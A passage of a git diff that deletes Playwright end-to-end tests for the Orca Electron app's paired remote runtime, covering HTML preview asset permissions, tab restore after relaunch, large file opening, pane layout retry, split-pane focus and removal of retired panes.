` + - `\n` - ) - writeFileSync( - path.join(assetsDirectory, 'scoped-preview.js'), - `document.getElementById('asset-result').textContent=${JSON.stringify(SCOPED_ASSET_TEXT)}\n` - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - let prepared: PreparedPairedClient | null = null - try { - prepared = await preparePairedClient(offer, testInfo, 'Scoped HTML preview', testRepoPath) - const { client, worktreeId, worktreePath } = prepared - const page = client.page - const docFilePath = path.join(worktreePath, 'preview-docs', SCOPED_FIXTURE_NAME) - await page.evaluate( - ({ environmentId, filePath, relativePath, targetWorktreeId }) => { - window.__store?.getState().openFile( - { - filePath, - relativePath, - worktreeId: targetWorktreeId, - language: 'html', - runtimeEnvironmentId: environmentId, - mode: 'edit' - }, - { preview: false, focusEditor: true } - ) - }, - { - environmentId: client.environmentId, - filePath: docFilePath, - relativePath: `preview-docs/${SCOPED_FIXTURE_NAME}`, - targetWorktreeId: worktreeId - } - ) - const openPreview = page.getByRole('button', { name: 'Preview', exact: true }) - await expect(openPreview).toBeVisible({ timeout: 30_000 }) - await openPreview.click() - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { - timeout: 60_000, - message: 'the scoped preview document never rendered' - }) - .toBe(SCOPED_FIXTURE_HEADING) - - const workspace = await page.evaluate((targetWorktreeId) => { - const state = window.__store?.getState() - return (state?.browserTabsByWorktree[targetWorktreeId] ?? []).find((candidate) => - candidate.docLocation?.filePath.endsWith('/scoped-preview.html') - )?.id - }, worktreeId) - if (!workspace) { - throw new Error('scoped preview had no document browser workspace') - } - await focusBrowserWorkspace(page, worktreeId, workspace) - await page.locator(`[data-tab-id="${workspace}"]`).click() - - await expect(page.getByText('This preview wants to read files in preview-assets.')).toBeVisible( - { - timeout: 30_000 - } - ) - await expect.poll(() => readDocPreviewRenderedText(page, '#asset-result')).toBe('blocked') - await page.getByRole('button', { name: 'Allow folder', exact: true }).click() - await expect( - page.getByText('This preview wants to read files in preview-assets.') - ).not.toBeVisible() - await expect - .poll(() => readDocPreviewRenderedText(page, '#asset-result'), { - timeout: 60_000, - message: 'the approved sibling asset never loaded after reload' - }) - .toBe(SCOPED_ASSET_TEXT) - } finally { - await prepared?.client.dispose() - } -}) - -// Restore the same document tab with a newly minted client grant; yesterday’s served URL must never return. -test('restores the document tab, on a fresh grant, after the client quits and relaunches', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - writeFileSync( - path.join(testRepoPath, RESTORE_FIXTURE_NAME), - `${RESTORE_FIXTURE_TITLE}` + - `

${RESTORE_FIXTURE_HEADING}

\n` - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - let prepared: PreparedPairedClient | null = null - let abandonedProfile: string | null = null - try { - prepared = await preparePairedClient(offer, testInfo, 'Preview restore', testRepoPath) - const profileDir = prepared.client.userDataDir - const { worktreeId, worktreePath } = prepared - const docFilePath = path.join(worktreePath, RESTORE_FIXTURE_NAME) - const inventoryArgs = { - environmentId: prepared.client.environmentId, - docFilePath, - worktreeId - } - - const openPreview = await revealPreviewAction(prepared.client.page, RESTORE_FIXTURE_NAME) - await openPreview.click() - await expect - .poll(() => readDocPreviewRenderedText(prepared!.client.page, 'h1'), { - timeout: 60_000, - message: 'the preview guest never rendered the document before the quit' - }) - .toBe(RESTORE_FIXTURE_HEADING) - const beforeQuit = await readPairedHtmlPreviewInventory(prepared.client.page, inventoryArgs) - const quitRow = requireSingleDocWorkspace(beforeQuit) - const guestUrlBeforeQuit = await readDocPreviewGuestUrl(prepared.client.page) - expect(guestUrlBeforeQuit).toMatch(/^orca-preview:\/\//) - - // Quit without disposing: the profile has to outlive the app, as it does for a real Cmd+Q. - const quitting = prepared.client.app - prepared = null - abandonedProfile = profileDir - await closeElectronAppForE2E(quitting) - - prepared = await preparePairedClient(offer, testInfo, 'Preview restore', testRepoPath, { - reuseUserDataDir: profileDir - }) - abandonedProfile = null - const relaunched = prepared.client.page - const relaunchedArgs = { - environmentId: prepared.client.environmentId, - docFilePath, - worktreeId: prepared.worktreeId - } - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)).docWorkspaces.length, - { timeout: 120_000, message: 'the relaunched client never restored the document tab' } - ) - .toBe(1) - const restored = requireSingleDocWorkspace( - await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs) - ) - expect({ - pageUrl: restored.pageUrl, - title: restored.title, - workspaceDocFilePath: restored.workspaceDocFilePath - }).toEqual({ - pageUrl: BLANK_PAGE_URL, - title: RESTORE_FIXTURE_TITLE, - workspaceDocFilePath: docFilePath - }) - // Require the original row id, not a replacement displaying the same document. - expect(restored.workspaceId).toBe(quitRow.workspaceId) - - await focusBrowserWorkspace(relaunched, prepared.worktreeId, restored.workspaceId) - await expect - .poll(() => readDocPreviewRenderedText(relaunched, 'h1'), { - timeout: 120_000, - message: 'the restored document tab never rendered its document again' - }) - .toBe(RESTORE_FIXTURE_HEADING) - const guestUrlAfterRestore = await readDocPreviewGuestUrl(relaunched) - expect(guestUrlAfterRestore).toMatch(/^orca-preview:\/\//) - // Require a new grant URL so neither disk nor host can restore the expired one. - expect(guestUrlAfterRestore).not.toBe(guestUrlBeforeQuit) - const afterRestore = await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs) - expect(afterRestore.htmlPreviewEditorFileIds).toEqual([]) - expect( - afterRestore.hostBrowserPages.filter( - (hostPage) => - hostPage.url.includes('orca-preview:') || hostPage.url.includes(RESTORE_FIXTURE_NAME) - ) - ).toEqual([]) - } finally { - await prepared?.client.dispose() - if (abandonedProfile) { - await cleanupE2EDaemons(abandonedProfile).catch(() => undefined) - } - } -}) diff --git a/tests/e2e/paired-remote-large-file-open.spec.ts b/tests/e2e/paired-remote-large-file-open.spec.ts deleted file mode 100644 index 293bd2f4b86..00000000000 --- a/tests/e2e/paired-remote-large-file-open.spec.ts +++ /dev/null @@ -1,137 +0,0 @@ -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { createPdfFindFixture } from './helpers/pdf-find-fixture' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const MB = 1024 * 1024 -// Why: one paired reply carries 512 KiB of text (files.read) and about 3 MB of binary. -const PDF_SIZES_MB = [2, 5, 20] -const HTML_SIZES_MB = [2, 5, 20] - -function largeHtml(bytes: number, marker: string): string { - const row = 'rowcafé\n' - return `\n${row.repeat(Math.floor(bytes / row.length))}

${marker}

\n` -} - -async function openExplorerFile(page: Page, name: string): Promise { - const row = page.locator('[data-file-explorer-row]').filter({ hasText: name }) - await expect(row).toBeVisible({ timeout: 30_000 }) - await row.click() -} - -test('opens HTML and PDF files larger than one RPC reply on a paired runtime', async ({ - orcaPage, - testRepoPath, - registerPostElectronShutdownCleanup -}, testInfo) => { - test.setTimeout(600_000) - const fixtures: { name: string; sizeMb: number; kind: 'pdf' | 'html' }[] = [ - ...PDF_SIZES_MB.map((sizeMb) => ({ - name: `large-${sizeMb}mb.pdf`, - sizeMb, - kind: 'pdf' as const - })), - ...HTML_SIZES_MB.map((sizeMb) => ({ - name: `large-${sizeMb}mb.html`, - sizeMb, - kind: 'html' as const - })) - ] - for (const fixture of fixtures) { - const fixturePath = path.join(testRepoPath, fixture.name) - writeFileSync( - fixturePath, - fixture.kind === 'pdf' - ? createPdfFindFixture({ paddingBytes: fixture.sizeMb * MB }) - : largeHtml(fixture.sizeMb * MB, `end-marker-${fixture.sizeMb}`) - ) - registerPostElectronShutdownCleanup(async () => rmSync(fixturePath, { force: true })) - } - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient(offer, testInfo, 'Remote large file open') - const { page, environmentId } = client - const findWorktreeId = (): Promise => - page.evaluate( - (repoPath) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === repoPath)?.id ?? null, - testRepoPath - ) - await expect - .poll(findWorktreeId, { - timeout: 120_000, - message: 'paired client never received the host worktree' - }) - .not.toBeNull() - const worktreeId = await findWorktreeId() - await page.evaluate( - ({ environmentId, worktreeId }) => { - if (worktreeId) { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - } - }, - { environmentId, worktreeId } - ) - - // The host still refuses the one-reply reads, which is what makes these the oversized paths. - const oneReply = await page.evaluate( - async ({ environmentId, worktreeId }) => ({ - pdf: await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'files.readPreview', - params: { worktree: `id:${worktreeId}`, relativePath: 'large-5mb.pdf' } - }), - html: await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'files.read', - params: { worktree: `id:${worktreeId}`, relativePath: 'large-2mb.html' } - }) - }), - { environmentId, worktreeId } - ) - expect(oneReply.pdf).toMatchObject({ ok: false, error: { message: 'file_too_large' } }) - expect(oneReply.html).toMatchObject({ ok: true, result: { truncated: true } }) - - await openFileExplorer(page) - for (const fixture of fixtures) { - await openExplorerFile(page, fixture.name) - if (fixture.kind === 'pdf') { - await expect(page.locator('.pdfViewer .page')).toHaveCount(3, { timeout: 120_000 }) - await expect(page.locator('.pdfViewer .page').first().locator('.textLayer')).toContainText( - 'needle result 1', - { timeout: 60_000 } - ) - } else { - // The tail marker is past every one-reply cap, so seeing it proves the whole file loaded. - await expect - .poll(() => page.evaluate(() => window.__monacoEditorE2E?.snapshot().valueTail ?? ''), { - timeout: 120_000, - message: `${fixture.name} never loaded in full` - }) - .toContain(`end-marker-${fixture.sizeMb}`) - } - await expect(page.getByText('Unable to load file')).toHaveCount(0) - await page.screenshot({ path: testInfo.outputPath(`${fixture.name}.png`) }) - } - } finally { - await client?.page - .screenshot({ path: testInfo.outputPath('paired-large-file-final.png') }) - .catch(() => undefined) - await client?.dispose() - } -}) diff --git a/tests/e2e/paired-remote-pane-layout-retry.spec.ts b/tests/e2e/paired-remote-pane-layout-retry.spec.ts deleted file mode 100644 index c7c47d67868..00000000000 --- a/tests/e2e/paired-remote-pane-layout-retry.spec.ts +++ /dev/null @@ -1,218 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeMobileSessionTerminalClientTab } from '../../src/shared/remote-runtime/session-graph/runtime-mobile-session-tab-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import type { TerminalLayoutSnapshot } from '../../src/shared/workspace-layout/terminal-tab-types' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { expect, test } from './helpers/orca-app' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -async function callEnvironment( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function openClientTab(page: Page, worktreeId: string, tabId: string): Promise { - await expect - .poll( - () => - page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId, worktreeId } - ), - { timeout: 60_000, message: `paired client never mirrored host tab ${tabId}` } - ) - .toBe(true) - await page.evaluate( - ({ tabId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(tabId) - state?.setActiveTabType('terminal', worktreeId) - }, - { tabId, worktreeId } - ) - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, tabId), { - timeout: 60_000, - message: `paired client pane for ${tabId} did not mount` - }) - .toBe(true) -} - -async function readHostLayout( - host: HeadlessPairedRuntimeHost, - worktreeId: string, - hostTabId: string -): Promise { - const snapshot = ( - await host.client.call('session.tabs.list', { - worktree: `id:${worktreeId}` - }) - ).result - return ( - snapshot.tabs.find( - (tab): tab is RuntimeMobileSessionTerminalClientTab => - tab.type === 'terminal' && tab.parentTabId === hostTabId - )?.parentLayout ?? null - ) -} - -async function readClientLayout(page: Page, tabId: string): Promise { - return page.evaluate((id) => window.__store?.getState().terminalLayoutsByTabId[id] ?? null, tabId) -} - -async function setPaneTitle(page: Page, title: string): Promise { - const isMac = await page.evaluate(() => navigator.userAgent.includes('Mac')) - await page - .locator('.xterm:visible') - .first() - .click({ - button: isMac ? 'left' : 'right', - position: { x: 40, y: 40 }, - modifiers: isMac ? ['Control'] : [] - }) - await page.getByText('Set Title…', { exact: true }).click() - const titleInput = page.getByRole('textbox', { name: 'Pane title' }) - await expect(titleInput).toBeVisible() - await titleInput.fill(title) - await titleInput.press('Enter') - await expect(titleInput).toHaveCount(0) - await expect(page.getByRole('button', { name: `Edit pane title: ${title}` })).toBeVisible() -} - -test('retries an identical remote pane layout after reconnect', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const title = `Reconnect retry ${Date.now()}` - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - let observer: PairedElectronClient | null = null - let terminal: string | null = null - - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const pairedClient = await launchPairedElectronClient( - host.offer, - testInfo, - 'Pane layout retry client' - ) - client = pairedClient - await expect - .poll( - () => - client?.page.evaluate(() => window.__store?.getState().allWorktrees().length ?? 0) ?? 0, - { timeout: 60_000, message: 'paired client never saw a host worktree' } - ) - .toBeGreaterThan(0) - const worktreeId = await client.page.evaluate( - () => window.__store?.getState().allWorktrees()[0]?.id ?? null - ) - if (!worktreeId) { - throw new Error('Paired client did not receive the host worktree') - } - - const created = await callEnvironment<{ - tab: { parentTabId: string; terminal: string | null } - }>(client.page, client.environmentId, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - activate: false, - select: false, - navigation: 'caller' - }) - terminal = created.tab.terminal - if (!terminal) { - throw new Error('Host terminal was not created') - } - const hostTabId = created.tab.parentTabId - const webTabId = toWebTerminalSurfaceTabId(hostTabId) - await openClientTab(client.page, worktreeId, webTabId) - - const terminalRoot = client.page.locator(`[data-terminal-tab-id="${webTabId}"]`).first() - await terminalRoot.evaluate((element) => { - element.setAttribute('data-layout-retry-owner', 'original') - }) - await client.page.evaluate(async (selector) => { - await window.api.runtimeEnvironments.disconnect({ selector }) - }, client.environmentId) - - const failedPush = client.page.waitForEvent('console', { - predicate: (message) => - message.type() === 'warning' && - message.text().includes('[web-runtime-session] failed to update pane layout:'), - timeout: 30_000 - }) - await setPaneTitle(client.page, title) - await failedPush - const failedLayout = await readClientLayout(client.page, webTabId) - expect(Object.values(failedLayout?.titlesByLeafId ?? {})).toContain(title) - expect( - Object.values((await readHostLayout(host, worktreeId, hostTabId))?.titlesByLeafId ?? {}) - ).not.toContain(title) - - await expect - .poll( - () => - pairedClient.page.evaluate(async (selector) => { - const response = await window.api.runtimeEnvironments.connect({ selector }) - return response.ok - }, pairedClient.environmentId), - { timeout: 60_000, message: 'paired client never reconnected to the host runtime' } - ) - .toBe(true) - await expect(terminalRoot).toHaveAttribute('data-layout-retry-owner', 'original') - - await setPaneTitle(client.page, title) - expect(await readClientLayout(client.page, webTabId)).toEqual(failedLayout) - await expect - .poll( - async () => - Object.values( - (await readHostLayout(host, worktreeId, hostTabId))?.titlesByLeafId ?? {} - ).includes(title), - { timeout: 30_000, message: 'headless host never persisted the retried pane layout' } - ) - .toBe(true) - - observer = await launchPairedElectronClient(host.offer, testInfo, 'Pane layout retry observer') - await openClientTab(observer.page, worktreeId, webTabId) - await expect( - observer.page.getByRole('button', { name: `Edit pane title: ${title}` }) - ).toBeVisible({ timeout: 30_000 }) - } finally { - await observer?.dispose() - if (terminal) { - await host.client.call('terminal.closeTab', { terminal }).catch(() => undefined) - } - await client?.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/paired-remote-split-pane-focus.spec.ts b/tests/e2e/paired-remote-split-pane-focus.spec.ts deleted file mode 100644 index 8e207c815ab..00000000000 --- a/tests/e2e/paired-remote-split-pane-focus.spec.ts +++ /dev/null @@ -1,273 +0,0 @@ -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import type { RuntimeTerminalRead } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { expect, test } from './helpers/orca-app' -import { - callPairedRuntime, - waitForPairedClientWorktree -} from './helpers/paired-client-host-session' -import { revealPairedClientWindow } from './helpers/paired-client-window-reveal' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { - focusActiveTerminalInput, - readPaneIdentitySnapshot, - waitForActivePanePtyId, - waitForPaneIdentitySnapshot -} from './helpers/terminal' - -type HostTerminalSurface = { - type: 'terminal' - parentTabId: string - leafId: string - terminal: string - parentLayout?: { activeLeafId?: string | null } -} - -const splitRightChord = process.platform === 'darwin' ? 'Meta+d' : 'Control+Shift+d' - -test('focuses the pane a client split creates on a paired remote workspace @headful', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(150_000) - const hostWorktreeId = await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId) - if (!hostWorktreeId) { - throw new Error('Headed host has no active seeded workspace') - } - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'paired-split-focus-client') - try { - await revealPairedClientWindow(client) - await waitForPairedClientWorktree(client.page, hostWorktreeId) - - const created = await callPairedRuntime<{ tab: { parentTabId: string } }>( - client.page, - client.environmentId, - 'session.tabs.createTerminal', - { - worktree: `id:${hostWorktreeId}`, - activate: false, - select: false, - navigation: 'caller' - } - ) - - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await client.page.evaluate( - (id) => window.__store?.getState().setActiveWorktree(id), - hostWorktreeId - ) - const tab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 30_000 }) - await tab.click() - await expect(tab).toHaveAttribute('data-active', 'true') - - const sourcePtyId = await waitForActivePanePtyId(client.page, 30_000) - const before = await waitForPaneIdentitySnapshot(client.page, 1) - const sourceLeafId = before.activeLeafId - if (!sourceLeafId) { - throw new Error('Paired source pane has no stable leaf identity') - } - - await focusActiveTerminalInput(client.page) - await client.page.keyboard.press(splitRightChord) - - let after = await waitForPaneIdentitySnapshot(client.page, 2) - let createdPane = after.panes.find((pane) => pane.leafId !== sourceLeafId) - await expect - .poll( - async () => { - const current = await readPaneIdentitySnapshot(client.page) - const created = current?.panes.find((pane) => pane.leafId !== sourceLeafId) - const domLeafId = await client.page.evaluate( - () => document.activeElement?.closest('.pane')?.dataset.leafId ?? null - ) - if (!current || current.panes.length !== 2 || !created) { - return false - } - after = current - createdPane = created - return ( - current.activeLeafId === created.leafId && - current.storeActiveLeafId === created.leafId && - domLeafId === created.leafId - ) - }, - { timeout: 30_000, message: 'Host-created split leaf never claimed client focus' } - ) - .toBe(true) - if (!createdPane) { - throw new Error('Paired split did not materialize a new pane') - } - const createdLeafId = createdPane.leafId - const focusedPtyId = await waitForActivePanePtyId(client.page, 30_000) - expect(focusedPtyId).toBe(createdPane.ptyId) - expect(focusedPtyId).not.toBe(sourcePtyId) - - const focusedDomLeafId = await client.page.evaluate( - () => document.activeElement?.closest('.pane')?.dataset.leafId ?? null - ) - expect(focusedDomLeafId).toBe(createdPane.leafId) - - const marker = `STA_5518_FOCUSED_${Date.now()}` - await client.page.keyboard.type(`printf '%s\\n' ${JSON.stringify(marker)}`) - await client.page.keyboard.press('Enter') - - await expect - .poll( - () => - client.page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - return Object.fromEntries( - (manager?.getPanes() ?? []).map((pane) => [ - pane.leafId, - pane.serializeAddon?.serialize?.() ?? '' - ]) - ) - }, webTabId), - { timeout: 30_000, message: 'Immediate post-split marker never reached the visible pane' } - ) - .toMatchObject({ [createdLeafId]: expect.stringContaining(marker) }) - - const hostTabs = await callPairedRuntime<{ tabs: HostTerminalSurface[] }>( - client.page, - client.environmentId, - 'session.tabs.list', - { worktree: `id:${hostWorktreeId}` } - ) - const hostLeaves = hostTabs.tabs.filter( - (surface) => surface.type === 'terminal' && surface.parentTabId === created.tab.parentTabId - ) - expect(hostLeaves.map((surface) => surface.leafId).sort()).toEqual( - after.panes.map((pane) => pane.leafId).sort() - ) - expect(hostLeaves[0]?.parentLayout?.activeLeafId).toBe(createdPane.leafId) - - const surfaceByLeafId = new Map(hostLeaves.map((surface) => [surface.leafId, surface])) - await expect - .poll( - async () => { - const reads = await Promise.all( - [sourceLeafId, createdLeafId].map(async (leafId) => { - const surface = surfaceByLeafId.get(leafId) - if (!surface) { - return false - } - const result = await callPairedRuntime<{ terminal: RuntimeTerminalRead }>( - client.page, - client.environmentId, - 'terminal.read', - { terminal: surface.terminal } - ) - return result.terminal.tail.join('\n').includes(marker) - }) - ) - return reads - }, - { timeout: 30_000, message: 'Host PTY output did not identify one marker destination' } - ) - .toEqual([false, true]) - - const headerSplit = client.page.locator( - 'button[data-contextual-tour-target="terminal-pane-split-target"]' - ) - await expect(headerSplit).toBeVisible() - await headerSplit.click() - let afterHeaderSplit = await waitForPaneIdentitySnapshot(client.page, 3) - const priorLeafIds = new Set(after.panes.map((pane) => pane.leafId)) - let headerCreatedPane = afterHeaderSplit.panes.find((pane) => !priorLeafIds.has(pane.leafId)) - await expect - .poll( - async () => { - const current = await readPaneIdentitySnapshot(client.page) - const created = current?.panes.find((pane) => !priorLeafIds.has(pane.leafId)) - const domLeafId = await client.page.evaluate( - () => document.activeElement?.closest('.pane')?.dataset.leafId ?? null - ) - if (!current || current.panes.length !== 3 || !created) { - return false - } - afterHeaderSplit = current - headerCreatedPane = created - return ( - current.activeLeafId === created.leafId && - current.storeActiveLeafId === created.leafId && - domLeafId === created.leafId - ) - }, - { timeout: 30_000, message: 'Header-created split leaf never claimed client focus' } - ) - .toBe(true) - if (!headerCreatedPane) { - throw new Error('Header split did not materialize a new pane') - } - const headerCreatedLeafId = headerCreatedPane.leafId - const headerMarker = `STA_5518_HEADER_FOCUSED_${Date.now()}` - await client.page.keyboard.type(`printf '%s\\n' ${JSON.stringify(headerMarker)}`) - await client.page.keyboard.press('Enter') - - await expect - .poll( - () => - client.page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - return Object.fromEntries( - (manager?.getPanes() ?? []).map((pane) => [ - pane.leafId, - pane.serializeAddon?.serialize?.() ?? '' - ]) - ) - }, webTabId), - { timeout: 30_000, message: 'Header split marker never reached the focused pane' } - ) - .toMatchObject({ [headerCreatedLeafId]: expect.stringContaining(headerMarker) }) - - const afterHeaderHostTabs = await callPairedRuntime<{ tabs: HostTerminalSurface[] }>( - client.page, - client.environmentId, - 'session.tabs.list', - { worktree: `id:${hostWorktreeId}` } - ) - const afterHeaderHostLeaves = afterHeaderHostTabs.tabs.filter( - (surface) => surface.type === 'terminal' && surface.parentTabId === created.tab.parentTabId - ) - expect(afterHeaderHostLeaves.map((surface) => surface.leafId).sort()).toEqual( - afterHeaderSplit.panes.map((pane) => pane.leafId).sort() - ) - expect(afterHeaderHostLeaves[0]?.parentLayout?.activeLeafId).toBe(headerCreatedPane.leafId) - const headerSurfaceByLeafId = new Map( - afterHeaderHostLeaves.map((surface) => [surface.leafId, surface]) - ) - await expect - .poll( - async () => { - const reads = await Promise.all( - afterHeaderSplit.panes.map(async ({ leafId }) => { - const surface = headerSurfaceByLeafId.get(leafId) - if (!surface) { - return false - } - const result = await callPairedRuntime<{ terminal: RuntimeTerminalRead }>( - client.page, - client.environmentId, - 'terminal.read', - { terminal: surface.terminal } - ) - return result.terminal.tail.join('\n').includes(headerMarker) - }) - ) - return reads - }, - { timeout: 30_000, message: 'Header marker did not reach exactly its created host PTY' } - ) - .toEqual(afterHeaderSplit.panes.map(({ leafId }) => leafId === headerCreatedLeafId)) - - await testInfo.attach('paired-cmd-d-focused-pane', { - body: await client.page.screenshot(), - contentType: 'image/png' - }) - } finally { - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-split-pane-host-retired-ghost.spec.ts b/tests/e2e/paired-remote-split-pane-host-retired-ghost.spec.ts deleted file mode 100644 index c2cd6c46e07..00000000000 --- a/tests/e2e/paired-remote-split-pane-host-retired-ghost.spec.ts +++ /dev/null @@ -1,128 +0,0 @@ -// #17770: a headless host retires an exited split leaf; client store and DOM must retain exactly the surviving pane. -// Insertion-only reconciliation shrank store layout but left a dead DOM ghost; retiring the active leaf must also avoid writing it back during PTY exit. -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { findPairedWorktreeId } from './helpers/paired-browser-placement-fixture' - -async function mountedPaneCount(page: Page, webTabId: string): Promise { - return page.evaluate( - (tabId) => window.__paneManagers?.get(tabId)?.getPanes().length ?? -1, - webTabId - ) -} - -async function mountedLeafPtyIds( - page: Page, - webTabId: string -): Promise<{ leafId: string; ptyId: string | null }[]> { - return page.evaluate( - (tabId) => - (window.__paneManagers?.get(tabId)?.getPanes() ?? []).map((pane) => ({ - leafId: pane.leafId, - ptyId: pane.container.dataset.ptyId ?? null - })), - webTabId - ) -} - -/** Leaves the host-authoritative layout the client currently holds for this tab. */ -async function hostLayoutLeafIds(page: Page, webTabId: string): Promise { - return page.evaluate((tabId) => { - const layout = window.__store?.getState().terminalLayoutsByTabId[tabId] - return layout ? Object.keys(layout.ptyIdsByLeafId ?? {}) : [] - }, webTabId) -} - -async function expectHostRetiredPaneRemoved( - exitedPane: 'split' | 'original', - testRepoPath: string, - testInfo: TestInfo -): Promise { - test.setTimeout(240_000) - const host = await launchHeadlessPairedRuntimeHost() - let client: Awaited> | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const created = await host.client.call<{ terminal: { handle: string } }>('terminal.create', { - worktree: `path:${testRepoPath}`, - title: 'Ghost Repro' - }) - const firstHandle = created.result.terminal.handle - - client = await launchPairedElectronClient(host.offer, testInfo, '#17770 host-retired ghost') - const worktreeId = await findPairedWorktreeId(client.page, testRepoPath) - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - - const split = await host.client.call<{ split: { handle: string; tabId: string } }>( - 'terminal.split', - { terminal: firstHandle, direction: 'horizontal' } - ) - const secondHandle = split.result.split.handle - const webTabId = toWebTerminalSurfaceTabId(split.result.split.tabId) - - await expect - .poll(() => mountedPaneCount(client!.page, webTabId), { - timeout: 90_000, - message: 'paired client never materialized both split panes' - }) - .toBe(2) - await expect - .poll(async () => (await mountedLeafPtyIds(client!.page, webTabId)).every((p) => p.ptyId), { - timeout: 30_000, - message: 'split panes never settled with PTY bindings' - }) - .toBe(true) - const beforeExit = await mountedLeafPtyIds(client.page, webTabId) - - await host.client.call('terminal.send', { - terminal: exitedPane === 'split' ? secondHandle : firstHandle, - text: 'exit', - enter: true - }) - - // Require both one-leaf host layout and one DOM pane; store-only assertions passed with the old ghost. - await expect - .poll(() => hostLayoutLeafIds(client!.page, webTabId).then((ids) => ids.length), { - timeout: 60_000, - message: 'host never retired the exited split leaf from its published layout' - }) - .toBe(1) - - await expect - .poll(() => mountedPaneCount(client!.page, webTabId), { - timeout: 60_000, - message: 'paired client kept the retired pane mounted as a dead ghost' - }) - .toBe(1) - - const afterExit = await mountedLeafPtyIds(client.page, webTabId) - const exitedLeafId = beforeExit.find( - (p) => !afterExit.some((a) => a.leafId === p.leafId) - )?.leafId - expect(afterExit).toHaveLength(1) - expect(afterExit[0]?.leafId).toBeTruthy() - expect(afterExit[0]?.ptyId).toBeTruthy() - expect(exitedLeafId).toBeTruthy() - await expect(hostLayoutLeafIds(client.page, webTabId)).resolves.toEqual([afterExit[0]?.leafId]) - } finally { - await client?.dispose() - await host.dispose() - } -} - -test('removes the pane a paired remote host retired instead of leaving a dead ghost', async ({ - testRepoPath -}, testInfo) => expectHostRetiredPaneRemoved('split', testRepoPath, testInfo)) - -// Why: the original pane is the host's active leaf, so its retirement also moves focus. -test('removes the original pane a paired remote host retired after it exits', async ({ - testRepoPath -}, testInfo) => expectHostRetiredPaneRemoved('original', testRepoPath, testInfo)) diff --git a/tests/e2e/paired-remote-terminal-browser-link.spec.ts b/tests/e2e/paired-remote-terminal-browser-link.spec.ts deleted file mode 100644 index c9cf215e94c..00000000000 --- a/tests/e2e/paired-remote-terminal-browser-link.spec.ts +++ /dev/null @@ -1,432 +0,0 @@ -import { createServer, type Server } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { Page } from '@stablyai/playwright-test' -import { - readClientGuestState, - readOwnedPageUrls, - readScreencastSubscribeCount, - sendClientGuestKeyboardInput, - sendClientGuestPointerInput -} from './helpers/client-hosted-browser-observer' -import { expect, test } from './helpers/orca-app' -import type { 